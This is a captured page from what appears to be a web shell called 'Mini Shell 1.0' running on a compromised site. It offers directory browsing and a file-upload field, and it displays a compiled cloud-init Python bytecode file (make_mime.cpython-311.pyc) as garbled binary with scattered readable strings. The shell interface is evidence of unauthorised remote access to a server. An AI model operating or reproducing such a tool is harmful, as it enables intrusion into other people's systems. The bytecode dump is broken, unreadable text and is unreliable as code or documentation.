HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/cmd/devel/__pycache__/make_mime.cpython-311.pyc
�

܍~c�����dZddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZdZ
eje
��Zd	Zd
�Zd�Zdd�Zdd�Zd�Zd�Zedkreje����dSdS)z0Generate multi-part mime messages for user-data.�N)�
MIMEMultipart)�MIMEText)�log)�addLogHandlerCLI)�INCLUSION_TYPES_MAPz	make-mimezUExample: make-mime -a config.yaml:cloud-config -a script.sh:x-shellscript > user-datac�
�g}g}t|��D]�\}\}}}|���}t||tj����}|�dd|z��|������}	|	t��vr!d|	�d|dz�d�}
|�	|
��|�	|����t��}|D]}
|�|
���||fS)NzContent-Dispositionzattachment; filename="%s"z
content type z for attachment �z may be incorrect!)�	enumerate�readr�sys�getdefaultencoding�
add_header�get_content_type�lower�get_content_types�appendr�attach)�files�sub_messages�errors�i�fh�filename�format_type�contents�sub_message�content_type�msg�combined_messages            �?/usr/lib/python3/dist-packages/cloudinit/cmd/devel/make_mime.py�create_mime_messager!s-���L�
�F�*3�E�*:�*:�)�)�&��&�B��+��7�7�9�9���x��c�6L�6N�6N�O�O�����!�#>�(�#K�	
�	
�	
�#�3�3�5�5�;�;�=�=���0�2�2�2�2�2����q�1�u�u�u�&�C�
�M�M�#�������K�(�(�(�(�$�����%�%������$�$�$�$��f�%�%�c���	|�dd��\}}t|d��||���fS#t$r}t	j|d|z��|�d}~wwxYw)z@Return file content type by reading the first line of the input.�:r	�rzInvalid value for %rN)�split�open�strip�
ValueError�argparse�
ArgumentError)�textrr�es    r �file_content_typer..s����!%���C��!3�!3���,��X�s�#�#�X�|�/A�/A�/C�/C�D�D�������$��(�D�1�
�
��	��������s�=A�
A(�
A#�#A(c
��|stj��}t|_t|_|�dddtdgdd���|�dd	d
dd�
��|�ddd
dd�
��|S)aBuild or extend and arg parser for make-mime utility.

    @param parser: Optional existing ArgumentParser instance representing the
        subcommand which will be extended to support the args of this utility.

    @returns: ArgumentParser with proper argument configuration.
    z-az--attachrrz<file>:<content-type>z3attach the given file as the specified content-type)�dest�type�action�default�metavar�helpz-lz--list-types�
store_trueFz&List support cloud-init content types.)r2r3r5z-fz--forcez$Ignore unknown content-type warnings)r*�ArgumentParser�__doc__�description�EPILOG�epilog�add_argumentr.)�parsers r �
get_parserr>9s����+��(�*�*�� �F���F�M�
�����
�
���'�
B��	�	�	��������
5������������
3������Mr"Fc�\��t�fd�tj��D����S)z�Return a list of cloud-init supported content types.  Optionally
    strip out the leading 'text/' of the type if strip_prefix=True.
    c�D��g|]}�r|�dd��n|��S)ztext/�)�replace)�.0�ctype�strip_prefixs  �r �
<listcomp>z%get_content_types.<locals>.<listcomp>fsA���	
�	
�	
��+7�A�E�M�M�'�2�&�&�&�E�	
�	
�	
r")�sortedr�values�rEs`r rrasF����	
�	
�	
�	
�,�3�5�5�	
�	
�	
���r"c���tt|jrtjntj��|jr2td�td�������dSt|j��\}}|r]|jrdnd}|D]'}tj�|�d|�d����(tj�d��|jsd	St|��dS)
a<Create a multi-part MIME archive for use as user-data.  Optionally
       print out the list of supported content types of cloud-init.

    Also setup CLI log handlers to report to stderr since this is a development
    utility which should be run by a human on the CLI.

    @return 0 on success, 1 on failure.
    �
TrIr�WARNING�ERRORz: z-Invalid content-types, override with --force
r	)r�LOG�debugr�DEBUGrL�
list_types�print�joinrr!r�forcer�stderr�write)�name�argsrr�level�errors      r �handle_argsr[ms����S�t�z�B�#�)�)�s�{�C�C�C����
�d�i�i�)�t�<�<�<�=�=�>�>�>��q�2�4�:�>�>���f�
��!�Z�4�	�	�W���	4�	4�E��J����2�2��2�2�2�3�3�3�3��
���I�J�J�J��z�	��1�	�
�����1r"c�l�t�����}tt|��S�N)r>�
parse_argsr[�NAME)rXs r �mainr`�s'���<�<�"�"�$�$�D��t�T�"�"�"r"�__main__r])F)r8r*r�email.mime.multipartr�email.mime.textr�	cloudinitr�cloudinit.cmd.develr�cloudinit.handlersrr_�	getLoggerrNr:r!r.r>rr[r`�__name__�exit�r"r �<module>rks1��
7�6�����
�
�
�
�.�.�.�.�.�.�$�$�$�$�$�$�������0�0�0�0�0�0�2�2�2�2�2�2����c�m�D����-��&�&�&�,���%�%�%�%�P	�	�	�	�
�
�
�4#�#�#�
�z����C�H�T�T�V�V�������r"